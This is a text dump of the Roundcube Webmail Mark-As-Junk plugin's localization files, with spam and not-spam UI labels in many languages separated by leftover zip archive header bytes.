 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Šis ziņojums ir mēstule';
$labels['asjunk'] = 'Kā mēstuli';
$labels['markasjunk'] = 'Atzīmēt kā mēstuli';
$labels['buttonnotjunk'] = 'Šis ziņojums nav mēstule';
$labels['asnotjunk'] = 'Ne kā mēstuli';
$labels['markasnotjunk'] = 'Atzīmēt kā nemēstuli';
$labels['notjunk'] = 'Nav mēstule';
$messages['reportedasjunk'] = 'Veiksmīgi noziņots kā mēstule';
$messages['reportedasnotjunk'] = 'Veiksmīgi noziņots kā nemēstule';
PKh�\lX�}<<)plugins/markasjunk/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Táto správa je nevyžiadaná';
$labels['asjunk'] = 'Ako nevyžiadané';
$labels['markasjunk'] = 'Označiť ako nevyžiadané';
$labels['buttonnotjunk'] = 'Táto správa nie je nevyžiadaná';
$labels['asnotjunk'] = 'Ako užitočné/vyžiadané';
$labels['markasnotjunk'] = 'Označiť ako užitočné/vyžiadané';
$labels['notjunk'] = 'Nie je nevyžiadané';
$messages['reportedasjunk'] = 'Úspešné nahlásené ako nevyžiadané';
$messages['reportedasnotjunk'] = 'Úspešne nahlásené ako užitočné/vyžiadané';
PKh�\B���,,)plugins/markasjunk/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Tato zpráva je nevyžádaná';
$labels['asjunk'] = 'Jako nevyžádanou poštu';
$labels['markasjunk'] = 'Označit jako nevyžádanou poštu';
$labels['buttonnotjunk'] = 'Tato zpráva není nevyžádaná';
$labels['asnotjunk'] = 'Jako vyžádanou poštu';
$labels['markasnotjunk'] = 'Označit jako vyžádanou poštu';
$labels['notjunk'] = 'Vyžádaná pošta';
$messages['reportedasjunk'] = 'Nahlášeno jako nevyžádaná pošta';
$messages['reportedasnotjunk'] = 'Nahlášeno jako vyžádaná pošta';
PKh�\ۙb&��)plugins/markasjunk/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Diese Nachricht ist Spam';
$labels['asjunk'] = 'Als Spam';
$labels['markasjunk'] = 'Als Spam markieren';
$labels['buttonnotjunk'] = 'Diese Nachricht ist kein Spam';
$labels['asnotjunk'] = 'als kein Spam';
$labels['markasnotjunk'] = 'Als kein Spam markieren';
$labels['notjunk'] = 'Kein Spam';
$messages['reportedasjunk'] = 'Erfolgreich als Spam gemeldet';
$messages['reportedasnotjunk'] = 'Erfolgreich als kein Spam gemeldet';
PKh�\�����)plugins/markasjunk/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = '這是垃圾郵件';
$labels['asjunk'] = '為垃圾郵件';
$labels['markasjunk'] = '標示為垃圾郵件';
$labels['buttonnotjunk'] = '這不是垃圾郵件';
$labels['asnotjunk'] = '為非垃圾郵件';
$labels['markasnotjunk'] = '標示為非垃圾郵件';
$labels['notjunk'] = '非垃圾郵件';
$messages['reportedasjunk'] = '已回報為垃圾郵件';
$messages['reportedasnotjunk'] = '已回報為非垃圾郵件';
PKh�\�R�*��)plugins/markasjunk/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Aquest missatge és brossa';
$labels['asjunk'] = 'Com a brossa';
$labels['markasjunk'] = 'Marca-ho com a brossa';
$labels['buttonnotjunk'] = 'Aquest missatge no és brossa';
$labels['asnotjunk'] = 'Com a no brossa';
$labels['markasnotjunk'] = 'Marca-ho com a no brossa';
$labels['notjunk'] = 'No brossa';
$messages['reportedasjunk'] = 'S\'ha informat correctament com a brossa';
$messages['reportedasnotjunk'] = 'S\'ha informat correctament com a no brossa';
PKh�\�ė�DD)plugins/markasjunk/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Это сообщение спам';
$labels['asjunk'] = 'Как спам';
$labels['markasjunk'] = 'Пометить как спам';
$labels['buttonnotjunk'] = 'Это сообщение не спам';
$labels['asnotjunk'] = 'Как не спам';
$labels['markasnotjunk'] = 'Пометить как не спам';
$labels['notjunk'] = 'Не спам';
$messages['reportedasjunk'] = 'Успешно помечено как спам';
$messages['reportedasnotjunk'] = 'Успешно помечено как не спам';
PKh�\ˏT�)plugins/markasjunk/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Þessi skilaboð eru ruslpóstur';
$labels['asjunk'] = 'Sem ruslpóstur';
$labels['markasjunk'] = 'Merkja sem ruslpóst';
$labels['buttonnotjunk'] = 'Þessi skilaboð eru ekki ruslpóstur';
$labels['asnotjunk'] = 'Sem ekki-ruslpóstur';
$labels['markasnotjunk'] = 'Merkja sem ekki-ruslpóst';
$labels['notjunk'] = 'Ekki ruslpóstur';
$messages['reportedasjunk'] = 'Tókst að tilkynna sem ruslpóst';
$messages['reportedasnotjunk'] = 'Tókst að tilkynna sem ekki-ruslpóst';
PKh�\�0�:��)plugins/markasjunk/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'هذه الرسالة غير مهمة';
$labels['asjunk'] = 'كغير مهم';
$labels['markasjunk'] = 'وضع علامة على أنه غير مرغوب فيه';
$labels['buttonnotjunk'] = 'هذه الرسالة ليست غير مهمة';
$labels['asnotjunk'] = 'ليس وهمي';
$labels['markasnotjunk'] = 'ضع علامة ليست غير مهمة';
$labels['notjunk'] = 'ليس وهمي';
$messages['reportedasjunk'] = 'تم الإبلاغ عن أنه غير هام بنجاح';
$messages['reportedasnotjunk'] = 'تم الإبلاغ عن أنه ليس بريدًا غير مهم بنجاح';
PKh�\��
]])plugins/markasjunk/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/


$messages['reportedasjunk'] = 'Sukses dilaporkan sebagai sampah';
PKh�\_"�4��)plugins/markasjunk/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Ez az üzenet kéretlen';
$labels['asjunk'] = 'Kéretlenként';
$labels['markasjunk'] = 'Kéretlennek jelölés';
$labels['buttonnotjunk'] = 'Ez az üzenet nem kéretlen';
$labels['asnotjunk'] = 'Nem kéretlenként';
$labels['markasnotjunk'] = 'Nem kéretlennek jelölés';
$labels['notjunk'] = 'Nem kéretlen';
$messages['reportedasjunk'] = 'Sikeresen kéretlennek jelentve';
$messages['reportedasnotjunk'] = 'Sikeresen nem kéretlennek jelentve';
PKh�\*7(()plugins/markasjunk/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Ce courriel est indésirable';
$labels['asjunk'] = 'Comme indésirable';
$labels['markasjunk'] = 'Marquer comme indésirable';
$labels['buttonnotjunk'] = 'Ce courriel est acceptable';
$labels['asnotjunk'] = 'Comme acceptable';
$labels['markasnotjunk'] = 'Marquer comme acceptable';
$labels['notjunk'] = 'Acceptable';
$messages['reportedasjunk'] = 'Signalé avec succès comme indésirable';
$messages['reportedasnotjunk'] = 'Signalé avec succès comme acceptable';
PKh�\���[[)plugins/markasjunk/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/


$messages['reportedasjunk'] = 'Uspješno prijavljeno kao Junk';
PKh�\�7����)plugins/markasjunk/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Wiadomość jest spamem.';
$labels['asjunk'] = 'Jako spam';
$labels['markasjunk'] = 'Oznacz jako spam';
$labels['buttonnotjunk'] = 'Wiadomość nie jest spamem';
$labels['asnotjunk'] = 'Jako nie-spam';
$labels['markasnotjunk'] = 'Oznacz jako nie-spam';
$labels['notjunk'] = 'Nie-spam';
$messages['reportedasjunk'] = 'Pomyślnie oznaczono jako spam';
$messages['reportedasnotjunk'] = 'Pomyślnie oznaczono jako nie spam';
PKh�\��K44)plugins/markasjunk/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'このメッセージは迷惑メール';
$labels['asjunk'] = '迷惑メール';
$labels['markasjunk'] = '迷惑メールとしてマーク';
$labels['buttonnotjunk'] = 'このメッセージは迷惑メールではない';
$labels['asnotjunk'] = '非迷惑メール';
$labels['markasnotjunk'] = '迷惑メールでないとマーク';
$labels['notjunk'] = '非迷惑メール';
$messages['reportedasjunk'] = '迷惑メールとして報告';
$messages['reportedasnotjunk'] = '非迷惑メールとして報告';
PKh�\�
 �77)plugins/markasjunk/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'הודעה זו היא דואר זבל';
$labels['asjunk'] = 'יש לתייג כזבל';
$labels['markasjunk'] = 'יש לסמן כזבל';
$labels['buttonnotjunk'] = 'הודעה זו אינה זבל';
$labels['asnotjunk'] = 'יש לתייג כהודעה שאינה זבל';
$labels['markasnotjunk'] = 'יש לסמן שאינה זבל';
$labels['notjunk'] = 'לא זבל';
$messages['reportedasjunk'] = 'סומנה בהצלחה כזבל';
$messages['reportedasnotjunk'] = 'סומנה בהצלחה שאינה זבל';
PKh�\v�z�)plugins/markasjunk/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Is bruscar é an teachtaireacht sin';
$labels['asjunk'] = 'Mar bhruscar';
$labels['markasjunk'] = 'Rianaigh mar bhruscar í';
$labels['buttonnotjunk'] = 'Ní bruscar é an teachtaireacht sin';
$labels['asnotjunk'] = 'Nach bruscar é';
$labels['markasnotjunk'] = 'Rianaigh nach bruscar é';
$labels['notjunk'] = 'Ní bruscar í';
$messages['reportedasjunk'] = 'Tuairiscíodh go rathúil gur bruscar í';
$messages['reportedasnotjunk'] = 'Tuairiscíodh go rathúil nach bruscar í';
PKh�\T.�a��)plugins/markasjunk/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Denne meddelelse er spam';
$labels['asjunk'] = 'Som spam';
$labels['markasjunk'] = 'Marker som spam';
$labels['buttonnotjunk'] = 'Denne besked er ikke spam';
$labels['asnotjunk'] = 'Som ikke spam';
$labels['markasnotjunk'] = 'Marker som ikke spam';
$labels['notjunk'] = 'Ikke spam';
$messages['reportedasjunk'] = 'Succesfuldt rapporteret som spam';
$messages['reportedasnotjunk'] = 'Succesfuldt rapporteret som ikke spam
 ';
PKh�\�����&plugins/markasjunk/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/


$messages['reportedasjunk'] = 'تم الإبلاغ عنه كبريد غير مرغوب فيه بنجاح';
PKh�\"�����)plugins/markasjunk/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Diese Nachricht ist Spam';
$labels['asjunk'] = 'Als Spam';
$labels['markasjunk'] = 'als SPAM markieren';
$labels['buttonnotjunk'] = 'Diese Nachricht ist kein Spam';
$labels['asnotjunk'] = 'als kein Spam';
$labels['markasnotjunk'] = 'Markierung Spam entfernen';
$labels['notjunk'] = 'Kein Spam';
$messages['reportedasjunk'] = 'Erfolgreich als SPAM gemeldet';
$messages['reportedasnotjunk'] = 'Erfolgreich als kein SPAM gemeldet';
PKh�\/b�h��)plugins/markasjunk/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Meddelandet är skräp';
$labels['asjunk'] = 'Skräp';
$labels['markasjunk'] = 'Markera som skräp';
$labels['buttonnotjunk'] = 'Meddelandet är inte skräp';
$labels['asnotjunk'] = 'Inte skräp';
$labels['markasnotjunk'] = 'Markera som inte skräp';
$labels['notjunk'] = 'Inte skräp';
$messages['reportedasjunk'] = 'Framgångsrikt rapporterat som skräp';
$messages['reportedasnotjunk'] = 'Framgångsrikt rapporterat som inte skräp';
PKh�\M_v���&plugins/markasjunk/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'بۇ خەت بولسا ئەخلەت';
$labels['asjunk'] = 'ئەخلەت سۈپىتىدە';
$labels['markasjunk'] = 'ئەخلەت بەلگىسىنى قۇيۇش';
$labels['buttonnotjunk'] = 'بۇ خەت ئەخلەت ئەمەس';
$labels['asnotjunk'] = 'ئەخلەت ئەمەس سۈپىتىدە';
$labels['markasnotjunk'] = 'ئەخلەت ئەمەس بەلگىسىنى قۇيۇش';
$labels['notjunk'] = 'ئەخلەت ئەمەس';
$messages['reportedasjunk'] = 'ئەخلەت سۈپىتىدە مۇۋاپىقىيەتلىك دوكىلات قىلىندى';
$messages['reportedasnotjunk'] = 'ئەخلەت ئەمەسلىكى مۇۋاپىقىيەتلىك دوكىلات قىلىندى';
PKh�\���H��)plugins/markasjunk/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = '이 메시지를 스팸으로 처리';
$labels['asjunk'] = '스팸 처리';
$labels['markasjunk'] = '스팸으로 표시';
$labels['buttonnotjunk'] = '이 메시지는 정상임';
$labels['asnotjunk'] = '정상 처리';
$labels['markasnotjunk'] = '정상으로 표시';
$labels['notjunk'] = '정상';
$messages['reportedasjunk'] = '스팸 메일로 성공적으로 보고함';
$messages['reportedasnotjunk'] = '정상 메일로 성공적으로 보고함';
PKh�\[G
�)plugins/markasjunk/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Questo messaggio è indesiderato';
$labels['asjunk'] = 'Come indesiderato';
$labels['markasjunk'] = 'Contrassegna come indesiderato';
$labels['buttonnotjunk'] = 'Questo messaggio è accettabile';
$labels['asnotjunk'] = 'Come accettabile';
$labels['markasnotjunk'] = 'Contrassegna come accettabile';
$labels['notjunk'] = 'Accettabile';
$messages['reportedasjunk'] = 'Segnalato con successo come indesiderato';
$messages['reportedasnotjunk'] = 'Segnalato con successo come accettabile';
PKh�\܉���)plugins/markasjunk/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Marcar como Spam';
$labels['asjunk'] = 'Es spam';
$labels['markasjunk'] = 'Marcar como Spam';
$labels['buttonnotjunk'] = 'Este mensaje no es spam';
$labels['asnotjunk'] = 'No es spam';
$labels['markasnotjunk'] = 'Marcado como no spam';
$labels['notjunk'] = 'No es spam';
$messages['reportedasjunk'] = 'Reportado como SPAM, correctamente';
$messages['reportedasnotjunk'] = 'Mensaje movido a la bandeja de entrada';
PKh�\����)plugins/markasjunk/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Dit bericht is spam';
$labels['asjunk'] = 'Als spam';
$labels['markasjunk'] = 'Markeer als spam';
$labels['buttonnotjunk'] = 'Dit bericht is geen spam';
$labels['asnotjunk'] = 'Als niet spam';
$labels['markasnotjunk'] = 'Markeer als niet spam';
$labels['notjunk'] = 'Niet spam';
$messages['reportedasjunk'] = 'Succesvol gerapporteerd als spam';
$messages['reportedasnotjunk'] = 'Succesvol gerapporteerd als niet spam';
PKh�\#���)plugins/markasjunk/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Mae\'r neges hwn yn sbwriel';
$labels['asjunk'] = 'Fel sbwriel';
$labels['markasjunk'] = 'Nodi fel sbwriel';
$labels['buttonnotjunk'] = 'Nid yw\'r neges hwn yn sbwriel';
$labels['asnotjunk'] = 'Fel nid sbwriel';
$labels['markasnotjunk'] = 'Nodi fel nid sbwriel';
$labels['notjunk'] = 'Nid sbwriel';
$messages['reportedasjunk'] = 'Adroddwyd yn llwyddiannus fel sbwriel';
$messages['reportedasnotjunk'] = 'Adroddwyd yn llwyddiannus fel nid sbwriel';
PKh�\9����)plugins/markasjunk/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'This message is spam';
$labels['asjunk'] = 'As spam';
$labels['markasjunk'] = 'Mark as spam';
$labels['buttonnotjunk'] = 'This message is not spam';
$labels['asnotjunk'] = 'As not spam';
$labels['markasnotjunk'] = 'Mark as not spam';
$labels['notjunk'] = 'Not spam';
$messages['reportedasjunk'] = 'Successfully reported as spam';
$messages['reportedasnotjunk'] = 'Successfully reported as not spam';
PKh�\N�J�)plugins/markasjunk/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Šis laiškas yra brukalas';
$labels['asjunk'] = 'Kaip brukalą';
$labels['markasjunk'] = 'Žymėti kaip brukalą';
$labels['buttonnotjunk'] = 'Šis laiškas nėra brukalas';
$labels['asnotjunk'] = 'Kaip ne brukalą';
$labels['markasnotjunk'] = 'Žymėti kaip ne brukalą';
$labels['notjunk'] = 'Ne brukalas';
$messages['reportedasjunk'] = 'Sėkmingai pranešta, jog laiškas yra brukalas';
$messages['reportedasnotjunk'] = 'Sėkmingai pranešta, jog laiškas nėra brukalas';
PKh�\�����)plugins/markasjunk/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Esta mensagem é lixo';
$labels['asjunk'] = 'Como lixo';
$labels['markasjunk'] = 'Marcar como lixo';
$labels['buttonnotjunk'] = 'Esta mensagem não é lixo';
$labels['asnotjunk'] = 'Como não lixo';
$labels['markasnotjunk'] = 'Marcar como não sendo lixo';
$labels['notjunk'] = 'Não é lixo';
$messages['reportedasjunk'] = 'Reportada com sucesso como lixo';
$messages['reportedasnotjunk'] = 'Reportada com sucesso como não sendo lixo';
PKh�\��$��)plugins/markasjunk/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

